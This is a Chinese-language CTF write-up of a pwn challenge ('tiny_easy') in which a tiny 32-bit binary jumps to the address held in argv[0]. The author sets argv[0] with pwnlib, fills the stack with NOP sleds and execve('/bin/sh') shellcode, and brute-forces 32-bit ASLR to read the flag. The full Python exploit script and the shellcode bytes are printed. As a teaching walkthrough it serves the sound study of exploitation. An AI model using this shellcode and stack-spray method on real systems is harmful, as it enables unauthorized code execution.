CTF 一次PWN解題的小技巧

前幾天在國外的某個ctf社區發現了一道好玩的賽題。

建議ctfer在閱讀這篇文章的時候,首先要掌握以下的一些內容,因爲這些東西對於ctf比賽來說,都是很有必要掌握的。

  • 基本的Linux知識
  • 對於X86有基本的瞭解
  • 瞭解堆棧工作原理
  • C語言的基本知識
  • 瞭解緩衝區溢出漏洞的原理
  • 基本的python開發能力

本文涉及知識點實操練習:PWN綜合練習(一) (CTF PWN進階訓練實戰,嘗試溢出一個URL解碼程序。)

計算機字節和shell的魅力

我第一次接觸到網絡安全編程時,我就已經發現開發其實是一門藝術,並且研究員需要很高的水平才能勝任這一工作,因爲很多時候你需要各種領域的知識進行結合。例如。C語言、彙編、堆棧、利用python進行漏洞開發利用等,當然,這些只是冰山一角。

對於一個剛進入漏洞利用開發領域的小白來說,這可能是很難的,因爲這是一個從零開始進行積累的過程。

作爲一名小菜雞,我決定先挑戰這個網站的最簡單的pwn賽題。別問爲什麼,問就是別的試題太難了。

3.png

進入正題

讓我們先進入SSH!

ssh [[email protected]](mailto:[email protected]) -p2222

(對於Windows用戶,我強烈推薦使用xshell,它是一款很好上手的軟件,可用於處理ssh會話並輕鬆下載軟件)

在ssh內,我們運行“ ls”命令,僅找到一個二進制文件和我們的flag文件,由於我們沒有任何權限,因此無法進行讀取。

4.png

我們先下載二進制文件並對其進行一些檢查:先使用“ file”命令進行查看。該命令可以讓我們查看二進制文件的詳細信息,包括其體系結構,位數(x64與x32)和其他很多的細節。

5.png

從輸出的內容中我們可以看到,該文件是x86體系結構的32位ELF文件,並且是靜態鏈接的。

可是等等… 注意這個細節!

6.png

讓我們運行這個二進制文件,看看會發生什麼情況:

7.png

從二進制文件具有損壞的header並且在執行時崩潰的情況可以看出,我們猜測現在這個二進制文件可能與通常我們看到的文件有所不同。

讓我們在ida中打開二進制文件並檢查代碼

8.png

這可能是我見過的最簡短的文件了,整個程序只有4條指令。

我們從棧中執行兩個pop指令,從edx指向的地方取值,然後跳轉到它。

但是等等......這個程序中沒有進行任何調用,那麼哪些值是從棧中彈出的呢?

我們還是用gdb來檢查一下吧!

9.png

看一下堆棧,我們看到eax將接收值1,而edx將接收指向該字符串的指針

“/home/user/CTFs/Pwnables/tiny_easy/tiny_easy”,這就是我們的二進制文件的路徑!

如果繼續執行直到調用edx,我們就會明白爲什麼我們之前會收到段錯誤的原因了。

10.png

這個程序會試圖跳轉到地址0x6d6f682f,這對應字符串"/hom "的值。它是我們的二進制文件路徑的一部分。

我們繼續運行我們的程序,參數分別爲test1 test2 test3。我們可以通過在gdb中運行以下命令來達到這一目的。

run test1 test2 test3 

10.png

我們可以看到,現在堆棧已經發生了變化,現在我們的堆棧中有參數,並且堆棧頂部的值已從0x1更改爲0x4。

還記得大一學的C語言中,main函數是如何接收輸入的嗎?

Int main(int argc, char * argv [], char * envp)

main中的argv [0]始終指向當前二進制文件的路徑,argv [1] argv [2]等將包含我們輸入的參數。

爲了能夠成功跳轉到所需的位置,我們需要控制argv [0]的值。如果它不是我們輸入的參數,我們該如何控制argv [0]呢?

下面隆重介紹一個在神奇的庫文件 -- pwnlib,Pwnlib是一個python庫,它使我們能夠輕鬆的和進程進行通信。

pwnlib.tubes.process允許我們創建自己的進程並控制它的不同參數(argv,envp)等等。

我編譯了以下的代碼片段來展示pwnlib的簡單使用方式:

int main(int argc, char * argv[])

{


    printf("\nthis is our argv[0] %s\n", argv[0]);

}

當我編譯運行它的時候,得到了以下的結果。

12.png

我們可以使用pwnlib將argv [0]修改爲我們自己的字符串,

from pwnlib.tubes.process import * 

argv_program=process(argv=["awdawd"], executable="/home/user/test_argv")

print argv_program.recv()

現在,運行我們的python程序,看看我們從test_argv程序中能得到什麼結果:

13.png

NICE !

現在,我們知道如何控制argv0參數了,這意味着我們可以在tiny_easy二進制文件中的任意位置進行跳轉。

下一步是檢查此二進制文件的安全屬性,讓我們運行checksec命令看看效果:

14.png

RELRO:這裏沒有RELRO保護;

堆棧:未發現堆棧canary機制;

NX: NX已禁用;

PIE: 無 PIE;

注意:默認情況下,ASLR在堆棧中是啓用狀態。

NX保護是一種保護機制,它不允許我們在二進制的代碼部分運行代碼,這意味着我們不能跳轉到棧或堆上的代碼來運行它們。

在這個例子中,我們可以看到這個二進制文件是在沒有保護的情況下進行編譯的,這意味着我們可以跳轉到堆上的代碼。

這裏需要強調一點的是:你如果一開始就直接檢查這類保護,整個過程會給你節省很多時間。

在這個例子中,因爲我們無法控制返回的地址,而且NX被禁用,那麼我們最好的選擇就是集中精力找到一種方法跳轉到棧上,並執行我們存儲在某個參數中的shellcode。

同時,另一方面,如果NX被啓用了,那麼這意味着我們無法跳轉到堆棧,我們需要找到一種不同的方式來運行我們的代碼(ret2libc等許多其他方法)。

現在我們可以控制我們要跳轉的位置了,同時我們需要處理ASLR在堆棧層已經被啓用這個問題。

我們可以嘗試找一條允許我們跳轉到堆棧的指令,然後運行我們的shellcode,程序中的其餘字節是elf頭的一部分。

15.png

我們也可以使用“ C”快捷鍵在IDA中查看這些字節的指令。

16.png

看來我們最好使用的指令是 "jmp esp"。這個指令將會跳轉到堆棧,在那裏我們能夠得到我們存儲在參數中的shellcode。

我喜歡手動進行搜索,所以我用online disassembling 來查找jmp esp指令由哪些操作碼組成。

如果我們嘗試反彙編jmp esp,那麼得到的結果是:ff e4

我們嘗試使用search-> bytesequence在IDA中搜索此字節。

what? 沒結果?

17.png

我試着搜索調用esp的字節,卻什麼也沒找到 !

這就鬱悶了!

我們想跳轉到堆棧上的代碼,但是由於ASLR的存在,我們不知道要跳轉到什麼地址。

我們嘗試找到一個指令,讓我們在不知道地址的情況下跳轉到堆棧,但我們沒有找到任何指令。

我嘗試了另一個騷操作:跳轉到一個允許你向代碼部分寫入字節的指令。

你可以嘗試用這個方法:用jmp esp操作碼覆蓋其中的一條指令的地址,然後跳轉到該指令的地址。

這個過程就像開火車一樣,邊開邊建軌道。

不幸的是,當我用view->Open subviews->segments看看有哪些段的權限的時候,發現了以下的內容。

18.png

代碼部分僅啓用了R和X權限

R-讀取權限

X-執行權限

W(寫)權限被禁用。

這意味着,如果我們重寫代碼部分的指令,程序就會崩潰。

我在這個程序上已經用了好幾個小時了,嘗試了不同的跳轉指令的方法,但是我找不到進入棧的方法。

然後,what should I do?

32位的ASLR

我開始嘗試查閱32位系統上的ASLR的實現原理(特別強調,我們的二進制文件是32位的)。我找到了下面的解釋:

"對於32位,有2^32 (4 294 967 296)個地址,然而,內核只允許一半的比特位(2^(32/2)=65 536)在虛擬內存中執行"。

這意味着堆棧的大小可以調整到65,536個字節。

如果我們可以控制數萬個shellcode字節,那麼我們就可以嘗試在堆棧中跳轉到一個固定的地址,這樣就會有很高的成功率。

下面我檢查了一下是否可以用長字符串發送大量的參數。

from pwnlib.tubes.process import *

for i in range(600):
    argv.append("a"*1024)

argv_program=process(argv=["awdawd"], executable="/home/user/test_argv")

print argv_program.recv()

19.png

在本例中,我們向程序發送了6014400個字節併成功運行。

我們可以傳遞我們的參數來填滿nops,最後發送我們的shellcode。

這樣,我們就可以跳轉到堆棧上的一個隨機地址,希望能夠落在我們的nop指令上,然後我們就會一路滑向我們的shellcode。

我寫了以下的代碼,嘗試執行程序。

我們在這裏嘗試跳轉到堆棧上的一個恆定地址:0xffb05544,選擇這個地址有兩個原因。

1.在這個程序中,我注意到在用gdb執行了很多次之後,這個地址大部分時間都在堆棧的範圍內或者非常接近堆棧的範圍 。

2.我們需要一個沒有任何null字節的地址,否則我們會得到

一個異常:"Inappropriate nulls in argv[0]:"

所以我寫了以下代碼:

import struct
import random
from pwnlib.tubes.process import *
from pwnlib.exception import *
import pwnlib

EXECV = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

def build_shellcode(address):

    """
    Build shellcode
    address - address to jump to
    """ 

    args = []
    args.append(address)
    shellcode =   "\x90"*8000 + EXECV
    for i in range(120):
        args.append(shellcode)
    return args

if __name__ == "__main__":
    jump_address = struct.pack("I", 0xffb05544)
    for i in range(10000000):
        try:
            prog_args = build_shellcode(jump_address)
            	print "attempt number: {}".format(i + 1 )
            pro = process(argv=prog_args,
                env={},    
                          executable="/home/user/CTFs/Pwnables/tiny_easy/tiny_easy")
            print "started_running address {}".format(hex(struct.unpack("I",jump_address)[0]))
            pro.timeout=0.08

            # Send command shell of the process
            pro.sendline("echo we_made_it!")

            # Recv the result of the command execution  
            data = pro.recvline()


            if data:
                print "received data!"
                print data
                break
        except (EOFError, pwnlib.exception.PwnlibException) as e:
            print e

這段代碼會運行tiny_easy二進制文件並跳轉到我們的shellcode,從而打開一個shell。如果我們成功了,那麼我們將能夠發送命令"echo we_made_it",看看它的輸出。

說幹就幹!

20.png

成功了!現在我們來CTF服務器上檢查一下。

請注意,我們需要將我們執行的命令從"echo we_made_it "改爲 "cat /home/tiny_easy/flag ",這樣就得到了flag。

我們可以使用 "scp "命令輕鬆地將我們的腳本上傳到服務器的tmp目錄下,就像這樣。

scp -P 2222 ./pwn_tiny.py [email protected]:/tmp/pwn_tiny.py

22.png

終於拿到了我們的flag !

總結

行文至此,本次測試也就結束了!文章略長,簡單做個總結:

在本文中,我們通過使用CTF示例討論了漏洞利用開發的過程,我們瞭解了程序如何從argv和argc接收輸入的參數。最後,瞭解了由於較小的隨機範圍,32位系統中的ASLR爲何容易受到攻擊,以及如何利用此漏洞進行攻擊。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章